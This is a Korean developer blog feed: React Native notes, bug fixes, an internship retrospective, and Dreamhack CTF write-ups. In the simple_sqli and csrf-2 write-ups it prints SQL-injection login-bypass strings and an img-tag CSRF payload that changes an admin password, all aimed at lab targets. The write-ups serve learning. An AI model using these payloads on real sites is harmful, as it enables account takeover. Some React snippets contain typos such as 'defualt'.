<h3 id="312-자바스크립트-변수">3.1.2 자바스크립트 변수</h3>
<p>내부에서 자바스크립트 변수를 전달하여 사용할 수 있음</p>
<pre><code class="language-jsx">export defualt function App(){
    const name = &#39;mk&#39;
    return (
        &lt;Text&gt;My name is {name}&lt;/Text&gt;
        );
      }</code></pre>
<h3 id="313-자바스크립트-조건문">3.1.3 자바스크립트 조건문</h3>
<h4 id="if-조건문">if 조건문</h4>
<p>if문을 즉시 실행 형태로 작성해야함.</p>
<h4 id="삼항-연산자">삼항 연산자</h4>
<h4 id="and--or-연산자">AND / OR 연산자</h4>
<h3 id="314-null-과-undefined">3.1.4 null 과 undefined</h3>
<p>JSX 의 경우 null 은 허용, undefined 는 오류 발생한다는 점 유의</p>
<h3 id="315-주석">3.1.5 주석</h3>
<pre><code class="language-jsx">{/* 주석을 작성하는 방법 */}
&lt;Text // 태그 안에서 주석 작성 
  /&gt;
&lt;Text /* 태그 안에서 주석 작성 */ /&gt;
</code></pre>
<h3 id="316-스타일링">3.1.6 스타일링</h3>
<h4 id="인라인-스타일링">인라인 스타일링</h4>
<pre><code class="language-jsx">export defualt function App(){
    const name = &#39;mk&#39;
    return (
        &lt;View
          style={{
            flex: 1,
            backgroundColor: &#39;#fff&#39;,
          }}
          &gt;&lt;/View&gt;
        );
      }</code></pre>
<p>style 에 문자열로 입력하는 것이 아닌 객체 형태로 입력
background-color 처럼 하이픈 연결은 하이픈 제거하고 카멜 표기법으로 작성</p>
<h2 id="32-컴포넌트">3.2 컴포넌트</h2>
<h3 id="321-내장-컴포넌트">3.2.1 내장 컴포넌트</h3>
<ul>
<li>리액트 네이티브 컴포넌트: <a href="https://reactnative.dev/docs/components-and-apis">https://reactnative.dev/docs/components-and-apis</a></li>
</ul>
<p>대표적으로 Button 컴포넌트 있음</p>
<h3 id="322-커스텀-컴포넌트">3.2.2 커스텀 컴포넌트</h3>
<p>컴포넌트 새로 만들 수 있음
export defualt MyButton;
이런 식으로 export 후 사용</p>
<h2 id="33-props-와-state">3.3 props 와 state</h2>
<h3 id="331-props">3.3.1 props</h3>
<p>props: properties 를 줄인 표현으로 부모 컴포넌트로부터 전달된 속성값 혹은 상속 받은 속성값을 말한다. 자식 컴포넌트에서 변경하는 것은 불가능.</p>
<pre><code class="language-jsx">&lt;MyButton title=&quot;Button&quot; /&gt;</code></pre>
<p>이렇게 전달하면 MyButton 컴포넌트의 props로 title이 전달됨</p>
<pre><code class="language-jsx">const MyButton = props =&gt; {
  return (
      &lt;Text&gt; {props.title} &lt;/Text&gt;
    );
};</code></pre>
<p>이런식으로 확인 가능
태그 사이 값은 props.children 으로 전달</p>
<h4 id="defaultprops">defaultProps</h4>
<pre><code class="language-jsx">Name.defaultProps = {
    name: &#39;이름&#39;,
};</code></pre>
<p>이런 식으로 아무것도 없을 때 기본 값 지정 가능</p>
<h4 id="proptypes">propTypes</h4>
<p>필수적으로 전달, 잘못된 타입 등 지정하여 오류 메세지 전달 가능</p>
<h3 id="332-state">3.3.2 state</h3>
<p>state 는 컴포넌트 내부에서 생성되고 값을 변경할 수 있음. 이를 이용해 컴포넌트 상태를 관리 (state) 상태가 변하면 컴포넌트 리렌더링 됨.</p>
<h4 id="usestate">useState</h4>
<pre><code class="language-jsx">const [state, setState] = useState(initialState);</code></pre>
<p>useState는 상태를 관리하는 변수와 그 변수를 변경할 수 있는 세터함수를 배열로 반환한다. 상태 변수는 직접 변경하는 것이 아닌 세터 함수를 이용해야함. useState 파라미터에 값을 전달하면 초깃값을 전달할 수 있음.</p>
<h2 id="34-이벤트">3.4 이벤트</h2>
<h3 id="341-press-이벤트">3.4.1 press 이벤트</h3>
<p>onClick 이벤트와 가장 유사한 리액트 네이티브 이벤트: press</p>
<ul>
<li>onPressIn : 눌렀을 때</li>
<li>onPressOut : 터치 해제</li>
<li>onPress : 터치 해제, onPressOut 이후 호출</li>
<li>onLongPress : 일정 시간 이상 눌렀을 때</li>
</ul>
<p>onPress 와 onLongPress는 누른 시간에 따라 둘 중 하나만 호출된다.</p>
<h3 id="342-change-이벤트">3.4.2 change 이벤트</h3>
<p>값을 입력하는 TextInput 컴포넌트에서 많이 사용된다.</p>
<h3 id="343-pressable-컴포넌트">3.4.3 Pressable 컴포넌트</h3>
<p>리액트 네이티브 0.63 이상 버전에서 사용
press 이벤트 동일하게 존재, 동작 방식도 같음
기존 컴포넌트와 다른 특징은 HitRect, PressRect</p>
<ul>
<li>HitRect: 약간 떨어진 부분까지 눌렀다고 인식되도록 (모바일에서 버튼 작아서)</li>
<li>PressRect: 버튼을 누르고 멀어졌을 때, 버튼을 누른 상태에서 벗어났다고 인식하도록 하는 범위 (실수로 눌렀을 때 대비)</li>
</ul>
<p>hitSlop 속성을 주면 됨 (HitRect 끝에서 PressRect 시작)</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[React + Node.js, MongoDB] 댓글 delete 기능 internal server 오류]]></title>
            <link>https://velog.io/@mk-cyb/React-Node.js-MongoDB-%EB%8C%93%EA%B8%80-delete-%EA%B8%B0%EB%8A%A5-internal-server-%EC%98%A4%EB%A5%98</link>
            <guid>https://velog.io/@mk-cyb/React-Node.js-MongoDB-%EB%8C%93%EA%B8%80-delete-%EA%B8%B0%EB%8A%A5-internal-server-%EC%98%A4%EB%A5%98</guid>
            <pubDate>Mon, 20 Nov 2023 18:15:24 GMT</pubDate>
            <description><![CDATA[<p>db에 저장된 댓글 delete 하는 함수를 만드는데 자꾸 알수없는 서버 에러가 떴다;;</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/5ddf8f1b-935b-45e8-9e92-d32e92195a2a/image.png" alt=""></p>
<h3 id="코드">코드:</h3>
<pre><code>delete: async(req, res) =&gt; {

        try {
            const result = await Feedback.remove(req.body);
            console.log(&quot;result : &quot;, result);
            res.status(200).send(result);

        } catch (err) {
            res.status(500).send(err);
        }
    }
};</code></pre><p>이렇게 해주고 models 파일에서 remove 함수를 정의해줬는데 자꾸 서버 에러가 뜬다.
찾다 찾다 모르겠어서 chatgpt 한테 물어봤는데 바로 찾음.. 진작 물어볼걸</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/9a80d8d7-aebb-4bd3-84ef-fe5a337369b5/image.png" alt=""></p>
<p>objectID 저건 안바꿔줘도 되고 그냥 함수명 하나만 바꿨더니 잘 돌아감 흑흑 ㅠㅠ
그래도 찾아서 다행. 고맙다 지피티야..
함수명 쓸 때 주의하자</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[html/css] div 여러 개 가로 스크롤로 만들기]]></title>
            <link>https://velog.io/@mk-cyb/htmlcss-div-%EC%97%AC%EB%9F%AC%EA%B0%9C-%EA%B0%80%EB%A1%9C-%EC%8A%A4%ED%81%AC%EB%A1%A4%EB%A1%9C-%EB%A7%8C%EB%93%A4%EA%B8%B0</link>
            <guid>https://velog.io/@mk-cyb/htmlcss-div-%EC%97%AC%EB%9F%AC%EA%B0%9C-%EA%B0%80%EB%A1%9C-%EC%8A%A4%ED%81%AC%EB%A1%A4%EB%A1%9C-%EB%A7%8C%EB%93%A4%EA%B8%B0</guid>
            <pubDate>Sun, 12 Nov 2023 14:49:14 GMT</pubDate>
            <description><![CDATA[<h3 id="문제-발생">문제 발생</h3>
<p>자식 div 여러개를 가로스크롤로 만드려고 했는데 부모 div에 <code>width</code> 속성과 <code>overflow-x: scroll</code> 을 주니 자꾸 페이지 전체에 스크롤이 생긴다.. 게다가 자식요소가 자꾸 크기가 줄어드는 문제가 발생 white-space 속성이나 display-wrap 속성을 모두 nowrap으로 해도 같은 문제가 발생했다.</p>
<h3 id="해결-방법">해결 방법</h3>
<p>간단하게 자식 요소에 <code>min-width</code> 와 <code>min-height</code> 을 설정해주면 된다.</p>
<p>css 코드</p>
<pre><code class="language-css">.x_scroll_parent{
    display: flex;
    flex-wrap: nowrap;
    overflow-x: scroll;
}

.x_scroll_child{
    min-width: 100px;
    min-height: 100px;
}</code></pre>
]]></description>
        </item>
        <item>
            <title><![CDATA[인턴 회고]]></title>
            <link>https://velog.io/@mk-cyb/%EC%9D%B8%ED%84%B4-%ED%9A%8C%EA%B3%A0</link>
            <guid>https://velog.io/@mk-cyb/%EC%9D%B8%ED%84%B4-%ED%9A%8C%EA%B3%A0</guid>
            <pubDate>Sun, 03 Sep 2023 11:38:22 GMT</pubDate>
            <description><![CDATA[<p>여름방학 기간동안 짧게 인턴을 진행했다. 개인 블로그에 올린 내용이지만, 배운 점 위주로 간략하게 다시 정리를 해서 올려본다.</p>
<h2 id="배운-점">배운 점</h2>
<ol>
<li><p>누구나 처음은 있다. 해보지 못한 일에 대한 두려움은 당연히 있을 수 있지만, 다른 사람들도 마찬가지다. 그리고 막상 해보면 생각보다 어렵지 않은 일일 수도 있으니 모르는 일에 대해서 지나치게 스트레스 받지 말 것. 잘 할 수 없을 거라는 걱정을 하기에는 시간이 아깝다. 막상 할 때가 되면 다 하게 되어있고 중요한 건 그래도 할 수 있다는 마음가짐으로 천천히 시작해보기. 나같은 경우는 모르는 거에 대해서 막막함이 너무 컸었다. 내가 해본 적이 없는 건데 어떻게 시작을 해야하는 건지 이런 것들? 이런 것들은 뭐 구글링하면 친절하게 정리된 블로그가 나올지도 모르지만 약간 너어무 기초적인 것들은 생략하고 설명할 때도 많기 때문에.. 그리고 이런 기초적인 것들을 물어보기에도 참 처음엔 많은 망설임이 있었다.ㅠ 너무 쉬운걸 물어보는게 아닐까? 하는.. 근데 이런 거를 모르면 일을 못하는데 어떡하나.. 글구 처음이 어렵지 막상 알려주면 간단한 것들이라 금방금방 배우고 할 수 있다는 걸 알게 되어서 그 후로는 사소한 거라서 못물어보는게 아니라, 사소한 거일수록 빨리 빨리 물어보고 빨리 배워야한다고 생각하게 되었다. 그리고 이러한 긍정적인 경험을 통해서 물어볼 용기가 생길 수 있었던 건 다 팀원 분들 덕분이었다. 내가 잘 모르는 부분에 대해 귀찮을 수도 있지만 적극적이고 친절하게 알려준 회사 동료분들이 너무 고맙다..ㅠㅠ </p>
</li>
<li><p>위와 연결되는 맥락으로 질문을 적극적으로 활용하자. 또한 다른 사람의 도움 또한 적극적으로 요청하고 알려주는 걸 잘 흡수하자. 같은 걸 계속 물어보는 건 나쁘지만,, 모르는 걸 물어보는 건 좋은 것 같다. 그리고 그렇게 질문을 할 수 있는 환경을 만들어준 팀원들이 또 고맙다!! 이런 팀에 들어가다니 운이 진짜 좋았다. 그런데 주의해야할 건 내가 할 수 있는 일에 대해서 도움을 요청하지 말기. 이것도 좀 어려운 일이긴 한데.. 항상 자신이 부족하다고 생각하면 자신이 할 수 없을거라고 생각하고 계속 남한테 도움을 요청하고 그렇게 될 수가 있다.. 이건 진짜 나에게도 타인에게도 해를 끼치는 행동같다. 적어도 충분히~ 찾아보고 내가 할 수 있는 일을 다 해보고도 모르겠다 싶을 때 마지막으로 질문을 하려고 노력했다. 그런데 내가 정말 최선을 다했는데도 몰라서 질문했는지는..... 사실 좀 반성해야할 부분인 것 같다. 그래도 다들 적극적으로 질문 환영해주고 특히 질문을 했을 때의 장점은, 내가 모르는 지식을 내가 스스로 찾을 때보다 훨씬 다양한 지식을 얻을 수가 있다. 나는 모르기 때문에 내가 모르는 부분에 대해 찾아보지만, 내가 물어보는 분들은 더 많은 배경지식을 갖고 있기 때문에 더욱 넓은 범위의 지식을 나에게 이야기 해준 경우가 많았다. 내가 알고있는 방법외에도 다른 방법도 많이 알려주시고, 그걸  또 따라하며 나의 지식도 같이 확장되는 경험을 할 수 있었다. 그래서 답변을 해줄 때 그 말을 듣고 있으면 몰랐던 것들을 많이 알게되어서 너무 재밌었고 또 어떻게 이런걸 다 알게 됐을까?? 하는 궁금증이 매번 들게 됐다 ㅋㅋ 그리고 질문을 여러번 하면서 생각한 점은 나도 나중에 다른 사람이 모르는 게 있을 때 이렇게 잘 이끌어주고 도와줘야겠다 거다. 사실 예전 고등학생때는 나에게 질문을 많이 하면, 처음 한 두번은 잘 대답해줬지만 점점 좀 지치게 되었던 것 같다. 그래서 그랬던 나를 반성하고!! 앞으로는 뭐든지 친절하게 알려줘야지.</p>
</li>
<li><p>다양한 도전을 해보고 사람을 만나보자. 이쪽은 되게 좁아서 한다리 건너면 다 아는 사람이라고 한다. 어쨋든 나는 처음 이런 보안 쪽 사람들을 만나보고 했는데, 확실히 학교에 있을때보다 더 많은 것을 보고 경험할 수 있었다. 어쨋든 보안학과지만, 보안학과인데도 모르는 것들이 왜이렇게 많았을까? 음.. 그래서 결론은 커뮤니티? 뭐 이런거의 중요성도 느꼈고~! 많은 사람들을 만나보자 라는 거다.</p>
</li>
</ol>
<p>​</p>
<p>그동안 회사를 다니면서 하루하루가 바쁘고 벅차기도 했고, 그냥 반복되는 일상적인 하루이기도 했다. 그렇지만 돌아보면 하루하루가 새로운걸 알아가고 시도해보는 설레는 하루였었다. 그런 소중한 시간들을 인지하지 못하는 채 시간은 빠르게 흘러 벌써 인턴 수료를 했고 다시 학교로 돌아왔다는게 아직도 잘 믿기지는 않지만 다들 너무 고맙고, 마지막에 리드님이 해주셨던 말처럼 또 다시 곧 뵙기를 바란다.</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] Stupid GCC 풀이]]></title>
            <link>https://velog.io/@mk-cyb/Dreamhack-Stupid-GCC-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@mk-cyb/Dreamhack-Stupid-GCC-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Thu, 15 Jun 2023 16:47:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/mk-cyb/post/b907835d-04f9-4f63-b4be-3a4053d687f2/image.png" alt=""></p>
<p>이건 문제 분류상 기타&amp;포너블에 속한 문제이다. 가중치가 0으로 점수는 없지만 ㅠ 리눅스에 흥미가 생겨서 풀어보았다.</p>
<h1 id="🔎-stupid-gcc-분석">🔎 Stupid GCC 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/b9026b3a-683b-4bfb-9532-206b088b8234/image.png" alt=""></p>
<p>문제 설명은 이러하다.</p>
<h2 id="homestupid_gcc">/home/stupid_gcc</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/7c9f4be5-0ae1-446d-b037-cfdae0131bdb/image.png" alt=""></p>
<p>서버에 접속해서 보면 원래는 a.c 파일만 있었다.</p>
<p>gcc a.c를 입력하여 컴파일 해주면 a.out 파일이 생긴다.
그런데 flag 파일이 안생겨서 a.out을 실행을 해봤는데, 무슨 배열이 10번 출력된다.</p>
<h2 id="home">/home</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/8376bbfc-487c-41ea-8292-240fa30e42c8/image.png" alt=""></p>
<p>상위 디렉토리로 이동하여 뭐가 있는지 봤는데,</p>
<p>anonymous 디렉토리와 stupid_gcc 디렉토리가 있었고 anonymous 디렉토리 안은 비어있었다.</p>
<h2 id="">/</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/6025de5c-03f5-4485-8ad6-eb9b51efac8a/image.png" alt=""></p>
<p>한 번 더 상위 폴더로 이동할 경우 flag.txt 가 있는 것을 확인할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/fa58d735-9d4b-4cb9-b7e7-e885b22dd8a9/image.png" alt=""></p>
<p>권한은 아무것도 설정되지 않았다.</p>
<h2 id="-1">+)</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/3b29e1e1-5cf1-4667-a720-6dfa1cae7a67/image.png" alt=""></p>
<p>참고로 ps를 입력해보면 10초마다 root가 a.out을 실행하고 있는 것을 알 수 있다.</p>
<h1 id="💻-소스코드-분석">💻 소스코드 분석</h1>
<p>소스코드는 직접 cat a.c를 해서 봐도 되고, 올려진 소스코드 다운받아도 된다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/5770df54-9952-47e7-bf91-40213a80204a/image.png" alt=""></p>
<p>소스는 간단하다. </p>
<p>v1이 10번 반복하는 동안 v2에 v1을 계속 더해주고 printf로 배열값을 출력한다.</p>
<p>가장 중요한 flag는 v2가 10000 이상일 때만 /flag.txt를 읽어서 현재 디렉토리인 /home/stupid_gcc에 flag.txt 파일을 작성해준다. 그러므로 간단히 생각하면, 저 소스코드의 v2 &gt; 10000 을 수정하여 v2 &gt; 50 정도로 바꾸어주면 flag.txt가 실행될 것 같다.</p>
<h1 id="📒-해답">📒 해답</h1>
<p>그렇지만 vi나 cat 명령어 등 쓰기를 할 수 있는 권한이 없어서 수정된 소스를 컴파일 하는 방법을 찾지 못했다...</p>
<p>대신 포럼의 글 중 gcc 옵션에서 버그를 발생시키라는 힌트를 보고 gcc 옵션에 대해 찾아보았다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/6dcd9da8-f09c-407b-8355-5d599da52d0d/image.png" alt=""></p>
<p>그 중 -O3 옵션을 발견했다. <strong><em>왜곡이 발생할 위험</em></strong> 이 있다고 하니 이 옵션을 붙여서 컴파일 해보자.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/2264934c-881f-4de5-b4fb-769fdaab721b/image.png" alt=""></p>
<p>바로 flag.txt 파일이 생겼다! </p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/c924ca00-b985-40bf-8a47-6782db8f2654/image.png" alt=""></p>
<p>a.out 을 실행시켜보면 이렇게 계속 반복문이 수행되고 segmentation fault가 발생한다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/62c7f771-b6a1-4bbe-b8da-ee0b3a57c85a/image.png" alt=""></p>
<p>cat flag.txt로 flag 파일을 확인하면 성공 🤗</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] simple_sqli 풀이]]></title>
            <link>https://velog.io/@mk-cyb/Dreamhack-simplesqli-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@mk-cyb/Dreamhack-simplesqli-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Wed, 07 Jun 2023 16:52:53 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/mk-cyb/post/99dc0a97-b369-47e7-88ae-f61b9c07f34a/image.png" alt=""></p>
<p>이번에는 webhacking 중 sql이다. sql이 참 어렵다..</p>
<h1 id="🔎-simple_sqli-분석">🔎 simple_sqli 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/a49a0f1e-836d-4cb1-bf5a-b096855dfb82/image.png" alt=""></p>
<p>문제 설명이다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/4e5c72a6-2dd6-4462-a83c-5b04ef6e535e/image.png" alt=""></p>
<p>들어가보면 나오는 메인 화면이다. 말그대로 Login 화면만 존재한다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/0e21e0e8-cff1-4336-bf28-001d0c50c445/image.png" alt=""></p>
<p>여기에 sql injection을 하여 admin으로 로그인을 해야한다.</p>
<h1 id="💻-소스코드-분석">💻 소스코드 분석</h1>
<h2 id="database">DATABASE:</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/aff7b567-6364-44f2-aeb3-09a15d238e6b/image.png" alt=""></p>
<p>먼저 코드를 보면 , database가 존재한다.
users table이 있고 컬럼은 userid, userpassword 두 개로 구성된다.</p>
<p>여기서 insert로 두 가지를 넣어준다.</p>
<p>하나는 id=guest, password=guest 인 계정이고 
다른 하나는 id=admin, password=랜덤 16바이트 문자열인 계정이다.</p>
<h2 id="login">login():</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/de19c985-2fc4-46a9-af33-16f96ddf5619/image.png" alt=""></p>
<p>다음은 로그인 코드이다.
GET으로 login 화면을 보여주고 POST로 id와 password 입력값을 받고 있다.</p>
<p>그런데 여기서 사용자 입력값을 통해 SQL query를 동적으로 생성한다.
동적으로 SQL query를 생성하는 것을 RawQuery라고 한다.</p>
<p>query_db는 위에 나오는 query 질의를 수행하는 함수이다.</p>
<p>그 후 userid 가 admin이면 flag를 출력한다.</p>
<p>즉 우리는 저 쿼리문 질의의 결과로 userid 가 admin이 되도록 해야한다.
하지만 pw를 모르기 때문에, userid=admin만 넣고 pw는 검사하지 않도록하여 우회하는 방법을 사용해보자.</p>
<h1 id="📒-해답">📒 해답</h1>
<pre><code>
select * from users where userid=&quot;{userid}&quot; and userpassword=&quot;{userpassword}&quot;
</code></pre><p>여기서 userid 값으로 여러가지를 줄 수 있다.</p>
<ol>
<li><p>ID = admin&quot; --</p>
</li>
<li><p>ID = admin&quot; or &quot;1 // userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환</p>
</li>
<li><p>ID = &quot; or 1 LIMIT 1,1-- // LIMIT 절을 이용하여 두 번째 행인 admin을 반환 (첫 번재 행은 guest)</p>
</li>
</ol>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/1cf1824d-109c-4273-b22d-816ee0cc0fd0/image.png" alt=""></p>
<p>여러가지 방법으로 우회 시도를 하여 로그인을 하면 플래그를 얻을 수 있다!</p>
<p><em>+++</em></p>
<p>_python 코드를 작성하여 직접 admin의 비밀번호를 알아내는 방법도 있다. 그 방법도 나중에 시도해 봐야겠다. _</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] csrf-2 풀이]]></title>
            <link>https://velog.io/@mk-cyb/Dreamhack-csrf-2-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@mk-cyb/Dreamhack-csrf-2-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Tue, 06 Jun 2023 12:44:18 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/mk-cyb/post/773f08b4-78f3-4cf7-8f13-20e9db618d78/image.png" alt=""></p>
<p>csrf-1 문제와 유사하게 csrf 공격, 즉 사용자의 session 정보를 이용하여 악의적인 요청을 하도록 만드는 문제이다.</p>
<p>코드 분석은 까다롭지만 exploit은 쉽다.</p>
<h1 id="🔎-csrf-2-분석">🔎 csrf-2 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/75aaeeaa-1d69-4baa-8b33-c6ff98f75823/image.png" alt=""></p>
<p>들어가면 처음 보이는 화면</p>
<p>vuln(csrf) page, flag page, login page 총 3개의 페이지로 이동을 할 수 있다.</p>
<p>vuln(csrf) page는 이전의 문제들처럼 취약점이 존재하는 공격 대상 링크이다.</p>
<p>flag 페이지에는 vuln 페이지로 연결되는 url 링크를 적어서 제출할 수 있다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/ab552a1e-b5b9-43b7-b59c-95606ca92b76/image.png" alt=""></p>
<p>마지막으로 login 페이지이다. 이전 문제들에서는 보지 못한 새로운 페이지이다.</p>
<h1 id="💻-소스코드-분석">💻 소스코드 분석</h1>
<h2 id="users">users</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/34f01cfd-9d27-4a2f-a1a9-cc61ecc6424d/image.png" alt=""></p>
<p>먼저 users 에 대한 딕셔너리가 있다. guest는 guest, admin은 FLAG인데 이게 아마 로그인에 필요한 회원 정보이고 각각 ID, PW 값인듯하다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/9c9214ed-9f9b-499b-8611-8dd593f6deb5/image.png" alt=""></p>
<p>guest로 로그인 해보면 이렇게 된다.</p>
<h2 id="index">index():</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/4d76d3a4-5a3a-4845-82c0-535bf9823a59/image.png" alt=""></p>
<p>index 페이지를 잘 보면, rendering 할 때의 text를 username에 따라서 다르게 표시하고 있다.</p>
<p>기본적으로는 <strong>pleas login</strong>
username이 admin이 아닐 경우 (guest) <strong>you are not an admin</strong>
admin일 경우 <strong>flag is [FLAG]</strong>로 flag를 출력한다.</p>
<p>여기서 admin 계정으로 로그인을 해야겠다는 생각을 할 수 있다.
그런데 우리는 FLAG를 알기위해 admin으로 로그인을 해야하는데, admin의 비밀번호가 FLAG인 상황..</p>
<p>코드를 끝까지 살펴보면 chang_password라는 함수가 있다.</p>
<h2 id="change_password">change_password():</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/d5cbb70c-1491-4c20-989f-20521dff3f19/image.png" alt=""></p>
<p>이 페이지는 존재하긴 하지만 숨겨져있는 페이지이다. </p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/a5009643-6279-4f1f-acb3-086dc094fb0e/image.png" alt=""></p>
<p>이 페이지가 존재하는지 확인하기 위해 링크 끝에 /change_password를 입력하여 이동해보면 잘못된 url 페이지가 뜨는 것이 아닌, 코드대로 index.html로 이동하는 것을 알 수 있다.</p>
<p>그럼 이 페이지로 이동하여 admin의 pw를 바꿔주어 로그인을 하면 될 것 같다.</p>
<p>좀 더 자세히 소스코드를 분석해보자.</p>
<pre><code>def change_password():
    pw = request.args.get(&quot;pw&quot;, &quot;&quot;)
    session_id = request.cookies.get(&#39;sessionid&#39;, None)
    try:
        username = session_storage[session_id]        </code></pre><p>코드를 보면 인자로 pw를 받아오고 cookie 값에서 sessionid 라는 것을 받아온다.
그 후 session_storage에 session_id 값으로 저장된 것을 찾아 username으로 설정한다.</p>
<p>그럼 우선 cookie 값에 admin의 sessionid가 저장되어 있어야 하는데 이 부분의 쿠키값이 언제 만들어지고 추가가 되는 걸까?</p>
<h2 id="flag">flag():</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/d27c85c5-57f9-4f3c-a7c0-080236b9a145/image.png" alt=""></p>
<p>바로 flag 페이지를 확인해보면, 여기서 제출을 눌러 POST를 할 때 
<strong>session_id로 랜덤 헥사값이 만들어지고 이 값이 다시 session_storage에 admin이라고 저장이 된다.</strong></p>
<p>그리고 이 session_id 값은 우리가 입력한 param 과 함께 check_csrf 함수로 전달 된다.</p>
<h2 id="check_csrf--read_url-">check_csrf() &amp; read_url() :</h2>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/9b129639-81d9-442c-93d3-1f1c9b30a816/image.png" alt=""></p>
<p>이 부분의 코드는 많이 봐와서 익숙하다. check_csrf에서 전달한 session_id 가 cookie가 되고 입력한 param을 url 형태로 만들어준다. 주소는 127.0.0.1:8000으로 우리가 접근할 수 없는 환경을 의미한다.</p>
<p>다음으로 read_url에서는 먼저 127.0.0.1:8000 url을 열고 거기에 cookie를 추가한다. cookie에는 admin의 session을 의미하는 랜덤 헥사값이 들어갈 것이다. 그 다음 우리가 입력한 url을 연다.</p>
<h1 id="📒-해답">📒 해답</h1>
<p>결국 우리는 admin의 sessionid가 저장된 url에서 change_password 페이지로 이동하여 pw를 바꾸도록 유도해야한다.</p>
<p>127.0.0.1:8000은 우리가 접근할 수 없기 때문에 flag 페이지에서 cookie에 admin의 sessionid를 저장시킨 후의 (cookie 값 추가는 코드를 보면 알아서 한다.) 127.0.0.1:8000으로 이동하게 하고 change_password 페이지로 이동하여 pw=1234 와 같이 바꿔주도록 exploit을 작성했다.</p>
<blockquote>
<pre><code>&lt;img src=&quot;http://127.0.0.1:8000/change_password?pw=1234&quot;&gt;</code></pre></blockquote>
<p>```</p>
<p>이걸 입력하고 제출하면 pw 변경 성공!</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/1f6c4009-ac56-4ecc-b580-5dc3e77cbfce/image.png" alt=""></p>
<p>정상적으로 비밀번호가 바뀌었다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/fdd0f920-d305-4cf4-b6f9-6c8c1cdb8e1d/image.png" alt=""></p>
<p>flag 탈취 성공 💗</p>
]]></description>
        </item>
        <item>
            <title><![CDATA[[Dreamhack] csrf-1 풀이]]></title>
            <link>https://velog.io/@mk-cyb/Dreamhack-csrf-1-%ED%92%80%EC%9D%B4</link>
            <guid>https://velog.io/@mk-cyb/Dreamhack-csrf-1-%ED%92%80%EC%9D%B4</guid>
            <pubDate>Mon, 05 Jun 2023 16:24:27 GMT</pubDate>
            <description><![CDATA[<p><img src="https://velog.velcdn.com/images/mk-cyb/post/45b8fa07-8dd2-405b-a833-6c58775e52be/image.png" alt=""></p>
<p>csrf 공격을 통해 관리자의 권한을 탈취하여 악용하는 문제!</p>
<p>강의가 있어서 보고 푸니 수월 했다.</p>
<h1 id="🔎-csrf-1-분석">🔎 csrf-1 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/269f6a64-9130-42fc-928c-6faa2ae0517f/image.png" alt=""></p>
<p>먼저 xss 문제와 거의 비슷한 화면
이번에는 notice flag 라는 페이지가 추가됐다.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/84cd75dd-8ab8-4abc-9c4b-34f3dad61724/image.png" alt=""></p>
<p>notice flag 페이지에 들어가니 주소가 admin/notice_flag로 바뀐 것을 볼 수 있다.</p>
<p>이 페이지가 admin만 접속할 수 있는 그런 페이지인 듯 하다.</p>
<h1 id="💻-소스코드-분석">💻 소스코드 분석</h1>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/4e23745a-99b8-4e11-a012-6e637c5339e0/image.png" alt=""></p>
<h3 id="vuln-">vuln() :</h3>
<p>여기에서 새로운 filter를 볼 수 있다.
frame, script, on 이 세 개의 문자열이 들어가면 *로 치환이 되도록 함수가 작성되었다. 즉, script, frame, on을 피해서 expoit을 작성해주자.</p>
<h2 id="flag">flag():</h2>
<p>flag는 이전 문제들과 비슷한데 제출 버튼을 누르면 param 값을 인자로 하여 check_csrf 함수를 실행한다. check_csrf 함수를 살펴보자.</p>
<p><img src="https://velog.velcdn.com/images/mk-cyb/post/5697ba7b-0f28-4e0b-8bf0-449b17de38d0/image.png" alt=""></p>
<h2 id="check_csrf">check_csrf():</h2>
<p>param 값과 cookie 값을 받는다.
url을 127.0.0.1:8000, 로컬호스트의 페이지로 접속을 하고 vuln 페이지로 설정한다.
